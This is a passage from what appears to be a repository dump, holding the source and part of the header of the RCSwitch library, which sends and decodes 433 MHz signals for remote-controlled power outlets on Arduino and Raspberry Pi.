RCSwitch::firstperiodlevel;\nunsigned int RCSwitch::timings[RCSWITCH_MAX_CHANGES];\n\nint RCSwitch::nStaticReceiverPin; // needed because nReceiverInterrupt (receiver pin) can not be read from handleInterrupt because it is static\n#endif\n\nRCSwitch::RCSwitch() {\n  this->nTransmitterPin = -1;\n  this->setRepeatTransmit(10);\n  this->setProtocol(1);\n  #if not defined( RCSwitchDisableReceiving )\n  this->nReceiverInterrupt = -1;\n  this->setReceiveTolerance(60);\n  RCSwitch::nReceivedValue = 0;\n  #endif\n}\n\n/**\n  * Sets the protocol to send.\n  */\nvoid RCSwitch::setProtocol(Protocol protocol) {\n  this->protocol = protocol;\n}\n\n/**\n  * Sets the protocol to send, from a list of predefined protocols\n  */\nvoid RCSwitch::setProtocol(int nProtocol) {\n  if (nProtocol < 1 || nProtocol > numProto) {\n    nProtocol = 1;  // TODO: trigger an error, e.g. \"bad protocol\" ???\n  }\n#ifdef ESP8266\n  this->protocol = proto[nProtocol-1];\n#else\n  memcpy_P(&this->protocol, &proto[nProtocol-1], sizeof(Protocol));\n#endif\n}\n\n/**\n  * Sets the protocol to send with pulse length in microseconds.\n  */\nvoid RCSwitch::setProtocol(int nProtocol, int nPulseLength) {\n  setProtocol(nProtocol);\n  this->setPulseLength(nPulseLength);\n}\n\n\n/**\n  * Sets pulse length in microseconds\n  */\nvoid RCSwitch::setPulseLength(int nPulseLength) {\n  this->protocol.pulseLength = nPulseLength;\n}\n\n/**\n * Sets Repeat Transmits\n */\nvoid RCSwitch::setRepeatTransmit(int nRepeatTransmit) {\n  this->nRepeatTransmit = nRepeatTransmit;\n}\n\n/**\n * Set Receiving Tolerance\n */\n#if not defined( RCSwitchDisableReceiving )\nvoid RCSwitch::setReceiveTolerance(int nPercent) {\n  RCSwitch::nReceiveTolerance = nPercent;\n}\n#endif\n  \n\n/**\n * Enable transmissions\n *\n * @param nTransmitterPin    Arduino Pin to which the sender is connected to\n */\nvoid RCSwitch::enableTransmit(int nTransmitterPin) {\n  this->nTransmitterPin = nTransmitterPin;\n  pinMode(this->nTransmitterPin, OUTPUT);\n}\n\n/**\n  * Disable transmissions\n  */\nvoid RCSwitch::disableTransmit() {\n  this->nTransmitterPin = -1;\n}\n\n/**\n * Switch a remote switch on (Type D REV)\n *\n * @param sGroup        Code of the switch group (A,B,C,D)\n * @param nDevice       Number of the switch itself (1..3)\n */\nvoid RCSwitch::switchOn(char sGroup, int nDevice) {\n  this->sendTriState( this->getCodeWordD(sGroup, nDevice, true) );\n}\n\n/**\n * Switch a remote switch off (Type D REV)\n *\n * @param sGroup        Code of the switch group (A,B,C,D)\n * @param nDevice       Number of the switch itself (1..3)\n */\nvoid RCSwitch::switchOff(char sGroup, int nDevice) {\n  this->sendTriState( this->getCodeWordD(sGroup, nDevice, false) );\n}\n\n/**\n * Switch a remote switch on (Type C Intertechno)\n *\n * @param sFamily  Familycode (a..f)\n * @param nGroup   Number of group (1..4)\n * @param nDevice  Number of device (1..4)\n  */\nvoid RCSwitch::switchOn(char sFamily, int nGroup, int nDevice) {\n  this->sendTriState( this->getCodeWordC(sFamily, nGroup, nDevice, true) );\n}\n\n/**\n * Switch a remote switch off (Type C Intertechno)\n *\n * @param sFamily  Familycode (a..f)\n * @param nGroup   Number of group (1..4)\n * @param nDevice  Number of device (1..4)\n */\nvoid RCSwitch::switchOff(char sFamily, int nGroup, int nDevice) {\n  this->sendTriState( this->getCodeWordC(sFamily, nGroup, nDevice, false) );\n}\n\n/**\n * Switch a remote switch on (Type B with two rotary/sliding switches)\n *\n * @param nAddressCode  Number of the switch group (1..4)\n * @param nChannelCode  Number of the switch itself (1..4)\n */\nvoid RCSwitch::switchOn(int nAddressCode, int nChannelCode) {\n  this->sendTriState( this->getCodeWordB(nAddressCode, nChannelCode, true) );\n}\n\n/**\n * Switch a remote switch off (Type B with two rotary/sliding switches)\n *\n * @param nAddressCode  Number of the switch group (1..4)\n * @param nChannelCode  Number of the switch itself (1..4)\n */\nvoid RCSwitch::switchOff(int nAddressCode, int nChannelCode) {\n  this->sendTriState( this->getCodeWordB(nAddressCode, nChannelCode, false) );\n}\n\n/**\n * Deprecated, use switchOn(const char* sGroup, const char* sDevice) instead!\n * Switch a remote switch on (Type A with 10 pole DIP switches)\n *\n * @param sGroup        Code of the switch group (refers to DIP switches 1..5 where \"1\" = on and \"0\" = off, if all DIP switches are on it's \"11111\")\n * @param nChannelCode  Number of the switch itself (1..5)\n */\nvoid RCSwitch::switchOn(const char* sGroup, int nChannel) {\n  const char* code[6] = { \"00000\", \"10000\", \"01000\", \"00100\", \"00010\", \"00001\" };\n  this->switchOn(sGroup, code[nChannel]);\n}\n\n/**\n * Deprecated, use switchOff(const char* sGroup, const char* sDevice) instead!\n * Switch a remote switch off (Type A with 10 pole DIP switches)\n *\n * @param sGroup        Code of the switch group (refers to DIP switches 1..5 where \"1\" = on and \"0\" = off, if all DIP switches are on it's \"11111\")\n * @param nChannelCode  Number of the switch itself (1..5)\n */\nvoid RCSwitch::switchOff(const char* sGroup, int nChannel) {\n  const char* code[6] = { \"00000\", \"10000\", \"01000\", \"00100\", \"00010\", \"00001\" };\n  this->switchOff(sGroup, code[nChannel]);\n}\n\n/**\n * Switch a remote switch on (Type A with 10 pole DIP switches)\n *\n * @param sGroup        Code of the switch group (refers to DIP switches 1..5 where \"1\" = on and \"0\" = off, if all DIP switches are on it's \"11111\")\n * @param sDevice       Code of the switch device (refers to DIP switches 6..10 (A..E) where \"1\" = on and \"0\" = off, if all DIP switches are on it's \"11111\")\n */\nvoid RCSwitch::switchOn(const char* sGroup, const char* sDevice) {\n  this->sendTriState( this->getCodeWordA(sGroup, sDevice, true) );\n}\n\n/**\n * Switch a remote switch off (Type A with 10 pole DIP switches)\n *\n * @param sGroup        Code of the switch group (refers to DIP switches 1..5 where \"1\" = on and \"0\" = off, if all DIP switches are on it's \"11111\")\n * @param sDevice       Code of the switch device (refers to DIP switches 6..10 (A..E) where \"1\" = on and \"0\" = off, if all DIP switches are on it's \"11111\")\n */\nvoid RCSwitch::switchOff(const char* sGroup, const char* sDevice) {\n  this->sendTriState( this->getCodeWordA(sGroup, sDevice, false) );\n}\n\n\n/**\n * Returns a char[13], representing the code word to be send.\n *\n */\nchar* RCSwitch::getCodeWordA(const char* sGroup, const char* sDevice, bool bStatus) {\n  static char sReturn[13];\n  int nReturnPos = 0;\n\n  for (int i = 0; i < 5; i++) {\n    sReturn[nReturnPos++] = (sGroup[i] == '0') ? 'F' : '0';\n  }\n\n  for (int i = 0; i < 5; i++) {\n    sReturn[nReturnPos++] = (sDevice[i] == '0') ? 'F' : '0';\n  }\n\n  sReturn[nReturnPos++] = bStatus ? '0' : 'F';\n  sReturn[nReturnPos++] = bStatus ? 'F' : '0';\n\n  sReturn[nReturnPos] = '\\0';\n  return sReturn;\n}\n\n/**\n * Encoding for type B switches with two rotary/sliding switches.\n *\n * The code word is a tristate word and with following bit pattern:\n *\n * +-----------------------------+-----------------------------+----------+------------+\n * | 4 bits address              | 4 bits address              | 3 bits   | 1 bit      |\n * | switch group                | switch number               | not used | on / off   |\n * | 1=0FFF 2=F0FF 3=FF0F 4=FFF0 | 1=0FFF 2=F0FF 3=FF0F 4=FFF0 | FFF      | on=F off=0 |\n * +-----------------------------+-----------------------------+----------+------------+\n *\n * @param nAddressCode  Number of the switch group (1..4)\n * @param nChannelCode  Number of the switch itself (1..4)\n * @param bStatus       Whether to switch on (true) or off (false)\n *\n * @return char[13], representing a tristate code word of length 12\n */\nchar* RCSwitch::getCodeWordB(int nAddressCode, int nChannelCode, bool bStatus) {\n  static char sReturn[13];\n  int nReturnPos = 0;\n\n  if (nAddressCode < 1 || nAddressCode > 4 || nChannelCode < 1 || nChannelCode > 4) {\n    return 0;\n  }\n\n  for (int i = 1; i <= 4; i++) {\n    sReturn[nReturnPos++] = (nAddressCode == i) ? '0' : 'F';\n  }\n\n  for (int i = 1; i <= 4; i++) {\n    sReturn[nReturnPos++] = (nChannelCode == i) ? '0' : 'F';\n  }\n\n  sReturn[nReturnPos++] = 'F';\n  sReturn[nReturnPos++] = 'F';\n  sReturn[nReturnPos++] = 'F';\n\n  sReturn[nReturnPos++] = bStatus ? 'F' : '0';\n\n  sReturn[nReturnPos] = '\\0';\n  return sReturn;\n}\n\n/**\n * Like getCodeWord (Type C = Intertechno)\n */\nchar* RCSwitch::getCodeWordC(char sFamily, int nGroup, int nDevice, bool bStatus) {\n  static char sReturn[13];\n  int nReturnPos = 0;\n\n  int nFamily = (int)sFamily - 'a';\n  if ( nFamily < 0 || nFamily > 15 || nGroup < 1 || nGroup > 4 || nDevice < 1 || nDevice > 4) {\n    return 0;\n  }\n  \n  // encode the family into four bits\n  sReturn[nReturnPos++] = (nFamily & 1) ? 'F' : '0';\n  sReturn[nReturnPos++] = (nFamily & 2) ? 'F' : '0';\n  sReturn[nReturnPos++] = (nFamily & 4) ? 'F' : '0';\n  sReturn[nReturnPos++] = (nFamily & 8) ? 'F' : '0';\n\n  // encode the device and group\n  sReturn[nReturnPos++] = ((nDevice-1) & 1) ? 'F' : '0';\n  sReturn[nReturnPos++] = ((nDevice-1) & 2) ? 'F' : '0';\n  sReturn[nReturnPos++] = ((nGroup-1) & 1) ? 'F' : '0';\n  sReturn[nReturnPos++] = ((nGroup-1) & 2) ? 'F' : '0';\n\n  // encode the status code\n  sReturn[nReturnPos++] = '0';\n  sReturn[nReturnPos++] = 'F';\n  sReturn[nReturnPos++] = 'F';\n  sReturn[nReturnPos++] = bStatus ? 'F' : '0';\n\n  sReturn[nReturnPos] = '\\0';\n  return sReturn;\n}\n\n/**\n * Encoding for the REV Switch Type\n *\n * The code word is a tristate word and with following bit pattern:\n *\n * +-----------------------------+-------------------+----------+--------------+\n * | 4 bits address              | 3 bits address    | 3 bits   | 2 bits       |\n * | switch group                | device number     | not used | on / off     |\n * | A=1FFF B=F1FF C=FF1F D=FFF1 | 1=0FF 2=F0F 3=FF0 | 000      | on=10 off=01 |\n * +-----------------------------+-------------------+----------+--------------+\n *\n * Source: http://www.the-intruder.net/funksteckdosen-von-rev-uber-arduino-ansteuern/\n *\n * @param sGroup        Name of the switch group (A..D, resp. a..d) \n * @param nDevice       Number of the switch itself (1..3)\n * @param bStatus       Whether to switch on (true) or off (false)\n *\n * @return char[13], representing a tristate code word of length 12\n */\nchar* RCSwitch::getCodeWordD(char sGroup, int nDevice, bool bStatus) {\n  static char sReturn[13];\n  int nReturnPos = 0;\n\n  // sGroup must be one of the letters in \"abcdABCD\"\n  int nGroup = (sGroup >= 'a') ? (int)sGroup - 'a' : (int)sGroup - 'A';\n  if ( nGroup < 0 || nGroup > 3 || nDevice < 1 || nDevice > 3) {\n    return 0;\n  }\n\n  for (int i = 0; i < 4; i++) {\n    sReturn[nReturnPos++] = (nGroup == i) ? '1' : 'F';\n  }\n\n  for (int i = 1; i <= 3; i++) {\n    sReturn[nReturnPos++] = (nDevice == i) ? '1' : 'F';\n  }\n\n  sReturn[nReturnPos++] = '0';\n  sReturn[nReturnPos++] = '0';\n  sReturn[nReturnPos++] = '0';\n\n  sReturn[nReturnPos++] = bStatus ? '1' : '0';\n  sReturn[nReturnPos++] = bStatus ? '0' : '1';\n\n  sReturn[nReturnPos] = '\\0';\n  return sReturn;\n}\n\n/**\n * @param sCodeWord   a tristate code word consisting of the letter 0, 1, F\n */\nvoid RCSwitch::sendTriState(const char* sCodeWord) {\n  // turn the tristate code word into the corresponding bit pattern, then send it\n  unsigned long code = 0;\n  unsigned int length = 0;\n  for (const char* p = sCodeWord; *p; p++) {\n    code <<= 2L;\n    switch (*p) {\n      case '0':\n        // bit pattern 00\n        break;\n      case 'F':\n        // bit pattern 01\n        code |= 1L;\n        break;\n      case '1':\n        // bit pattern 11\n        code |= 3L;\n        break;\n    }\n    length += 2;\n  }\n  this->send(code, length);\n}\n\n/**\n * @param sCodeWord   a binary code word consisting of the letter 0, 1\n */\nvoid RCSwitch::send(const char* sCodeWord) {\n  // turn the tristate code word into the corresponding bit pattern, then send it\n  unsigned long code = 0;\n  unsigned int length = 0;\n  for (const char* p = sCodeWord; *p; p++) {\n    code <<= 1L;\n    if (*p != '0')\n      code |= 1L;\n    length++;\n  }\n  this->send(code, length);\n}\n\n/**\n * Transmit the first 'length' bits of the integer 'code'. The\n * bits are sent from MSB to LSB, i.e., first the bit at position length-1,\n * then the bit at position length-2, and so on, till finally the bit at position 0.\n */\nvoid RCSwitch::send(unsigned long code, unsigned int length) {\n  if (this->nTransmitterPin == -1)\n    return;\n\n#if not defined( RCSwitchDisableReceiving )\n  // make sure the receiver is disabled while we transmit\n  int nReceiverInterrupt_backup = nReceiverInterrupt;\n  if (nReceiverInterrupt_backup != -1) {\n    this->disableReceive();\n  }\n#endif\n\n  for (int nRepeat = 0; nRepeat < nRepeatTransmit; nRepeat++) {\n    for (int i = length-1; i >= 0; i--) {\n      if (code & (1L << i))\n        this->transmit(protocol.one);\n      else\n        this->transmit(protocol.zero);\n    }\n    this->transmit(protocol.syncFactor);\n  }\n\n#if not defined( RCSwitchDisableReceiving )\n  // enable receiver again if we just disabled it\n  if (nReceiverInterrupt_backup != -1) {\n    this->enableReceive(nReceiverInterrupt_backup);\n  }\n#endif\n}\n\n/**\n * Transmit a single high-low pulse.\n */\nvoid RCSwitch::transmit(HighLow pulses) {\n  uint8_t firstLogicLevel = (this->protocol.invertedSignal) ? LOW : HIGH;\n  uint8_t secondLogicLevel = (this->protocol.invertedSignal) ? HIGH : LOW;\n  \n  digitalWrite(this->nTransmitterPin, firstLogicLevel);\n  delayMicroseconds( this->protocol.pulseLength * pulses.high);\n  digitalWrite(this->nTransmitterPin, secondLogicLevel);\n  delayMicroseconds( this->protocol.pulseLength * pulses.low);\n}\n\n\n#if not defined( RCSwitchDisableReceiving )\n/**\n * Enable receiving data\n */\nvoid RCSwitch::enableReceive(int interrupt) {\n#ifdef RaspberryPi\n  int receiverpin = interrupt;\n#else\n  // learn which digital pin corresponds to that interrupt\n  int receiverpin = -1;\n  for(int i = 0; i < 40; i++) {\n    if (digitalPinToInterrupt(i) == interrupt) {\n      receiverpin = i;\n      break;\n    }\n  }\n#endif\n  this->nReceiverInterrupt = interrupt;\n  RCSwitch::nStaticReceiverPin = receiverpin;\n  this->enableReceive();\n}\n\nvoid RCSwitch::enableReceive() {\n  if (this->nReceiverInterrupt != -1) {\n    RCSwitch::nReceivedValue = 0;\n    RCSwitch::nReceivedBitlength = 0;\n#if defined(RaspberryPi) // Raspberry Pi\n    wiringPiISR(this->nReceiverInterrupt, INT_EDGE_BOTH, &handleInterrupt);\n#else // Arduino\n    attachInterrupt(this->nReceiverInterrupt, handleInterrupt, CHANGE);\n#endif\n  }\n}\n\n/**\n * Disable receiving data\n */\nvoid RCSwitch::disableReceive() {\n#if not defined(RaspberryPi) // Arduino\n  detachInterrupt(this->nReceiverInterrupt);\n#endif // For Raspberry Pi (wiringPi) you can't unregister the ISR\n  this->nReceiverInterrupt = -1;\n}\n\nbool RCSwitch::available() {\n  return RCSwitch::nReceivedValue != 0;\n}\n\nvoid RCSwitch::resetAvailable() {\n  RCSwitch::nReceivedValue = 0;\n}\n\nunsigned long RCSwitch::getReceivedValue() {\n  return RCSwitch::nReceivedValue;\n}\n\nunsigned int RCSwitch::getReceivedBitlength() {\n  return RCSwitch::nReceivedBitlength;\n}\n\nunsigned int RCSwitch::getReceivedDelay() {\n  return RCSwitch::nReceivedDelay;\n}\n\nunsigned int RCSwitch::getReceivedProtocol() {\n  return RCSwitch::nReceivedProtocol;\n}\n\nunsigned int* RCSwitch::getReceivedRawdata() {\n  return RCSwitch::timings;\n}\n\nbool RCSwitch::getReceivedInverted() {\n  return RCSwitch::nReceivedInverted;\n}\n\nunsigned int RCSwitch::getReceivedLevelInFirstTiming() {\n  return RCSwitch::nReceivedLevelInFirstTiming;\n}\n\n/* helper function for the receiveProtocol method */\nstatic inline unsigned int diff(int A, int B) {\n  return abs(A - B);\n}\n\n/**\n *\n */\nbool RECEIVE_ATTR RCSwitch::receiveProtocol(const int p, unsigned int changeCount) {\n\n    int finalp = 0; // no protocol recognized\n    unsigned int tmpfirstperiodlevel = RCSwitch::firstperiodlevel; // store it before it is overwritten\n\n    // ignore very short transmissions: no device sends them, so this must be noise\n    if (changeCount < 8) return false; // also ensure avoiding 0 division later\n\n    // changeCount is the number of stored durations\n    // timings positions span from 0 ... (changeCount - 1)\n    //\n    // non-inverted protocols with recorded...\n    // signals starting low: data bits timings from positions 1 ... (changeCount - 2)\n    //                       sync bit timings[changeCount - 1], timings[0]\n    // non-inverted protocols with recorded...\n    // signals starting high: data bits timings from positions 2 ... (changeCount - 1)\n    //                        sync bit timings[0], timings[1]\n    // This version takes into account both options by advancing 1 position for the later\n    //\n    // inverted protocols with recorded...\n    // signals starting low: data bits timings from positions 2 ... (changeCount - 1)\n    //                       sync bit timings[changeCount - 1], timings[0]\n    // inverted protocols with recorded...\n    // signals starting high: data bits timings from positions 1 ... (changeCount - 2)\n    //                        sync bit timings[0], timings[1]\n    // This version stores an alternate phase for decoding to cope with inverted protocols\n\n    unsigned int numberofdatabits = (changeCount - 2) / 2;\n\n    unsigned int dataduration = 0;\n    unsigned long squareddataduration = 0; // preparation for variance calculation\n    unsigned long code = 0;\n    unsigned int delay = 0; // all appearances of delay can be removed if, in future versions, it is decided to drop backwards compatibility\n\n    unsigned int alternatedataduration = 0;\n    unsigned long alternatesquareddataduration = 0; // preparation for variance calculation\n    unsigned long alternatecode = 0;\n    unsigned int alternatedelay = 0; // all appearances of delay can be removed if, in future versions, it is decided to drop backwards compatibility\n    \n    // calculate average of data bits duration\n    // calculate variance of data bits duration\n    // decode bit sequence,\n    // get delay as average of the shorter level timings (for backwards compatibility)\n    \n    // calculate for alternate positions (shifted one timing) as well\n\n    for (unsigned int i = 1; i < changeCount - 2; i += 2) {\n\t\t\n        unsigned int thisbitDuration = RCSwitch::timings[i]+RCSwitch::timings[i + 1];\n        dataduration += thisbitDuration;\n        squareddataduration += (unsigned long)thisbitDuration*(unsigned long)thisbitDuration;\n\n        code <<= 1;\n        if (RCSwitch::timings[i] < RCSwitch::timings[i + 1]) {\n            // zero\n            // sum accumulated duration of shorter level timings\n            delay += RCSwitch::timings[i];\n            // all appearances of delay can be removed if dropping backwards compatibility\n        } else {\n            // one\n            code |= 1;\n            // sum accumulated duration of shorter level timings\n            delay += RCSwitch::timings[i + 1];\n            // all appearances of delay can be removed if dropping backwards compatibility\n        }\n        \n        // for inverted protocols - timings are shifted\n\n        unsigned int alternatebitDuration = RCSwitch::timings[i + 1]+RCSwitch::timings[i + 2];\n        alternatedataduration += alternatebitDuration;\n        alternatesquareddataduration += (unsigned long)alternatebitDuration*(unsigned long)alternatebitDuration;\n\t\t\n        alternatecode <<= 1;\n        if (RCSwitch::timings[i + 1] < RCSwitch::timings[i + 2]) {\n            // zero\n            // sum accumulated duration of shorter level timings\n            alternatedelay += RCSwitch::timings[i + 1];\n            // all appearances of delay can be removed if dropping backwards compatibility\n        } else {\n            // one\n            alternatecode |= 1;\n            // sum accumulated duration of shorter level timings\n            alternatedelay += RCSwitch::timings[i + 2];\n            // all appearances of delay can be removed if dropping backwards compatibility\n        }\n    }\n\n    unsigned long variancebitduration = (squareddataduration - (unsigned long)dataduration*(unsigned long)dataduration/numberofdatabits)/(numberofdatabits-1);\n    unsigned long alternatevariancebitduration = (alternatesquareddataduration - (unsigned long)alternatedataduration*(unsigned long)alternatedataduration/numberofdatabits)/(numberofdatabits-1);\n    \n    // decide whether databits are represented by timings 1+2 or 2+3\n    bool databitsstartinone = variancebitduration < alternatevariancebitduration;\n    // Value true when NOT INVERTED\n    // PITFALL: occasionally (depending on the combination of bits) an inverted signal could be identified as direct signal\n\n    unsigned int averagebitduration = 0;\n    unsigned long squaredaveragebitduration = 0;\n    \n    if(databitsstartinone) {\n        averagebitduration = (int)(0.5 + ((double)dataduration)/numberofdatabits);\n        squaredaveragebitduration = (unsigned long)averagebitduration * (unsigned long)averagebitduration;\n    } else {\n        averagebitduration = (int)(0.5 + ((double)alternatedataduration)/numberofdatabits);\n        squaredaveragebitduration = (unsigned long)averagebitduration * (unsigned long)averagebitduration;\n        variancebitduration = alternatevariancebitduration;\n        code = alternatecode;\n        delay = alternatedelay;\n    }\n\n    // check whether all bits durations are similar, discard otherwise\n    // a coefficient of variation (standard deviation/average) threshold of 5% should be adequate\n    // that means rejecting if standard deviation > average * 5 / 100\n    // in the squared scale is variance > squared average * 25 / 10000\n\n    if (variancebitduration * 10000 > squaredaveragebitduration * 25 ) {\n        return false;\n    }\n\n    bool invertedprotocoldecoded = !((!databitsstartinone) ^ (tmpfirstperiodlevel == 0));\n\n    // get delay as average of the shorter level timings\n    delay = (int)(0.5 + ((double)delay)/numberofdatabits);\n\n    // ratio between long and short timing\n    unsigned int protocolratio = (unsigned int)(0.5 + ((double)(averagebitduration - delay)) / (double)delay);\n    \n    // improved pulselenght (delay) calculation\n    int normalizedpulselength = (int)(0.5 + (double)averagebitduration/(double)(protocolratio+1));\n\n    // store results\n\n    RCSwitch::nReceivedValue = code;\n    RCSwitch::nReceivedBitlength = numberofdatabits;\n    RCSwitch::nReceivedDelay = normalizedpulselength;\n\n    RCSwitch::nReceivedInverted = invertedprotocoldecoded;\n    RCSwitch::nReceivedLevelInFirstTiming = tmpfirstperiodlevel;\n\n\n    // for compatibility: check which protocol fits the data\n\n    // this can be completely removed from the receiver part of the library\n    // and let the programer check if the received code is from the protocol\n    // that was expected\n    const unsigned int delayTolerance = delay * RCSwitch::nReceiveTolerance / 100;\n\n    for(unsigned int i = 1; i <= numProto; i++) {\n\n#ifdef ESP8266\n        const Protocol &pro = proto[i-1];\n#else\n        Protocol pro;\n        memcpy_P(&pro, &proto[i-1], sizeof(Protocol));\n#endif\n\n        if (invertedprotocoldecoded == pro.invertedSignal && // protocol inversion is correct AND\n            diff(delay, pro.pulseLength) < delayTolerance && // pulse length is correct AND\n            protocolratio == (int)(0.5 + (double)pro.one.high/(double)pro.one.low) && // long vs short ratio is correct AND\n            ( (databitsstartinone) ?\n            diff(RCSwitch::timings[0], pro.syncFactor.low * delay) < (pro.syncFactor.low * delayTolerance) // the sync timing is correct\n            :\n            diff(RCSwitch::timings[1], pro.syncFactor.low * delay) < (pro.syncFactor.low * delayTolerance) // the sync timing is correct\n            )  &&\n            ( (databitsstartinone) ?\n            diff(RCSwitch::timings[changeCount-1], pro.syncFactor.high * delay) < (pro.syncFactor.high * delayTolerance ) // the sync timing is correct\n            :\n            diff(RCSwitch::timings[0], pro.syncFactor.high * delay) < (pro.syncFactor.high * delayTolerance ) // the sync timing is correct\n            )\n            ) \n            { // the sync timing is correct\n\n                finalp = i;\n\t\tbreak;\n\t}\n    }\n    \n    /* For protocols that start low, the sync period looks like\n     *               _________\n     * _____________|         |XXXXXXXXXXXX|\n     *\n     * |--1st dur--|-2nd dur-|-Start data-|\n     *\n     * The 3rd saved duration starts the data.\n     *\n     * For protocols that start high, the sync period looks like\n     *\n     *  ______________\n     * |              |____________|XXXXXXXXXXXXX|\n     *\n     * |-filtered out-|--1st dur--|--Start data--|\n     *\n     * The 2nd saved duration starts the data\n     */\n\n    RCSwitch::nReceivedProtocol = finalp; // will be 0 if the code is recognized but it is of an unknown protocol\n    return true;\n\n}\n\nvoid RECEIVE_ATTR RCSwitch::handleInterrupt() {\n\n  static unsigned int changeCount = 0;\n  static unsigned long lastTime = 0;\n  static unsigned int repeatCount = 0;\n\n  const long time = micros();\n  const unsigned int duration = time - lastTime;\n\n  if (duration > RCSwitch::nSeparationLimit & changeCount != 1 ) {\n    // A long stretch without signal level change occurred. This could\n    // be the gap between two transmission.\n    // It allows a second long duration to be stored\n    // to accomodate for protocols with long high-level (first part) sync duration\n    if (diff(duration, RCSwitch::timings[0]) < 200) {\n      // This long signal is close in length to the long signal which\n      // started the previously recorded timings; this suggests that\n      // it may indeed by a a gap between two transmissions (we assume\n      // here that a sender will send the signal multiple times,\n      // with roughly the same gap between them).\n      repeatCount++;\n      if (repeatCount == 2) {\n        receiveProtocol(1,changeCount);\n        repeatCount = 0;\n      }\n    }\n    changeCount = 0;\n    // store the opposite level, because the time recorded is the one of the previous level\n    RCSwitch::firstperiodlevel = ! digitalRead(RCSwitch::nStaticReceiverPin);\n  }\n \n  // detect overflow\n  if (changeCount >= RCSWITCH_MAX_CHANGES) {\n    changeCount = 0;\n    // store the opposite level, because the time recorded is the one of the previous level\n    RCSwitch::firstperiodlevel = ! digitalRead(RCSwitch::nStaticReceiverPin);\n    repeatCount = 0;\n  }\n\n  RCSwitch::timings[changeCount++] = duration;\n  lastTime = time;  \n}\n#endif\n"
  },
  {
    "path": "Bibliotecas/rc-switch-master/RCSwitch.h",
    "content": "/*\n  RCSwitch - Arduino libary for remote control outlet switches\n  Copyright (c) 2011 Suat Özgür.  All right reserved.\n\n  Contributors:\n  - Andre Koehler / info(at)tomate-online(dot)de\n  - Gordeev Andrey Vladimirovich / gordeev(at)openpyro(dot)com\n  - Skineffect / http://forum.ardumote.com/viewtopic.php?f=2&t=46\n  - Dominik Fischer / dom_fischer(at)web(dot)de\n  - Frank Oltmanns / <first name>.<last name>(at)gmail(dot)com\n  - Max Horn / max(at)quendi(dot)de\n  - Robert ter Vehn / <first name>.<last name>(at)gmail(dot)com\n  \n  Project home: https://github.com/sui77/rc-switch/\n\n  This library is free software; you can redistribute it and/or\n  modify it under the terms of the GNU Lesser General Public\n  License as published by the Free Software Foundation; either\n  version 2.1 of the License, or (at your option) any later version.\n\n  This library is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n  Lesser General Public License for more details.\n\n  You should have received a copy of the GNU Lesser General Public\n  License along with this library; if not, write to the Free Software\n  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n*/\n#ifndef _RCSwitch_h\n#define _RCSwitch_h\n\n#if defined(ARDUINO) && ARDUINO >= 100\n    #include \"Arduino.h\"\n#elif defined(ENERGIA) // LaunchPad, FraunchPad and StellarPad specific\n    #include \"Energia.h\"\n#elif defined(RPI) // Raspberry Pi\n    #define RaspberryPi\n\n    // Include libraries for RPi:\n    #include <string.h> /* memcpy */\n    #include <stdlib.h> /* abs */\n    #include <wiringPi.h>\n#elif defined(SPARK)\n    #include \"application.h\"\n#else\n    #include \"WProgram.h\"\n#endif\n\n#include <stdint.h>\n\n\n// At least for the ATTiny X4/X5, receiving has to be disabled due to\n// missing libm depencies (udivmodhi4)\n#if defined( __AVR_ATtinyX5__ ) or defined ( __AVR_ATtinyX4__ )\n#define RCSwitchDisableReceiving\n#endif\n\n// Number of maximum high/Low changes per packet.\n// We can handle up to (unsigned long) => 32 bit * 2 H/L changes per bit + 2 for sync\n#define RCSWITCH_MAX_CHANGES 67\n\nclass RCSwitch {\n\n  public:\n    RCSwitch();\n    \n    void switchOn(int nGroupNumber, int nSwitchNumber);\n    void switchOff(int nGroupNumber, int nSwitchNumber);\n    void switchOn(const char* sGroup, int nSwitchNumber);\n    void switchOff(const char* sGroup, int nSwitchNumber);\n    void switchOn(char sFamily, int nGroup, int nDevice);\n    void switchOff(char sFamily, int nGroup, int nDevice);\n    void switchOn(const char* sGroup, const char* sDevice);\n    void switchOff(const char* sGroup, const char* sDevice);\n    void switchOn(char sGroup, int nDevice);\n    void switchOff(char sGroup, int nDevice);\n\n    void sendTriState(const char* sCodeWord);\n    void send(unsigned long code, unsigned int length);\n    void send(const char* sCodeWord);\n    \n    #if not defined( RCSwitchDisableReceiving )\n    void enableReceive(int interrupt);\n    void enableReceive();\n    void disableReceive();\n    bool available();\n    void resetAvailable();\n\n    unsigned long getReceivedValue();\n    unsigned int getReceivedBitlength();\n    unsigned int getReceivedDelay();\n    unsigned int getReceivedProtocol();\n    unsigned int* getReceivedRawdata();\n    bool getReceivedInverted();\n    unsigned int getReceivedLevelInFirstTiming();\n    #endif\n  \n    void enableTransmit(int nTransmitterPin);\n    void disableTransmit();\n    void setPulseLength(int nPulseLength);\n    void setRepeatTransmit(int nRepeatTransmit);\n    #if not defined( RCSwitchDisableReceiving )\n    void setReceiveTolerance(int nPercent);\n    #endif\n\n    /**\n     * Description of a single pulse, which consists of a high signal\n     * whose duration is \"high\" times the base pulse length, followed\n     * by a low signal lasting \"low\" times the base pulse length.\n     * Thus, the pulse overall lasts (high+low)*pulseLength\n     */\n    struct HighLow {\n        uint8_t high;\n        uint8_t low;\n    };\n\n    /**\n     * A \"protocol\" describes how zero and one bits are encoded into high/low\n     * pulses.\n     */\n    struct Protocol {\n        /** base pulse length in microseconds, e.g. 350 */\n        uint16_t pulseLength;\n\n        HighLow syncFactor;\n        HighLow zero;\n        HighLow one;\n\n        /**\n         * If true, interchange high and low logic levels in all transmissions.\n         *\n         * By default, RCSwitch assumes that any signals it sends or receives\n         * can be broken down into pulses which start with a high signal level,\n         * followed by a a low signal level. This is e.g. the case for the\n         * popular PT 2260 encoder chip, and thus many switches out there.\n         *\n         * But some devices do it the other way around, and start with a low\n         * signal level, followed by a high signal level, e.g. the HT6P20B. To\n         * accommodate this, one can set invertedSignal to true, which causes\n         * RCSwitch to change how it interprets any HighLow struct FOO: It will\n         * then assume transmissions start with a low signal lasting\n         * FOO.high*pulseLength microseconds, followed by a high signal lasting\n         * FOO.low*pulseLength microseconds.\n         */\n        bool invertedSignal;\n    };\n\n    void setProtocol(Protocol protocol);\n    void setProtocol(int nProtocol);\n    void setProtocol(int nProtocol, int nPulseLength);\n\n  private:\n    char* getCodeWordA(const char* sGroup, const char* sDevice, bool bStatus);\n    char* getCodeWordB(int 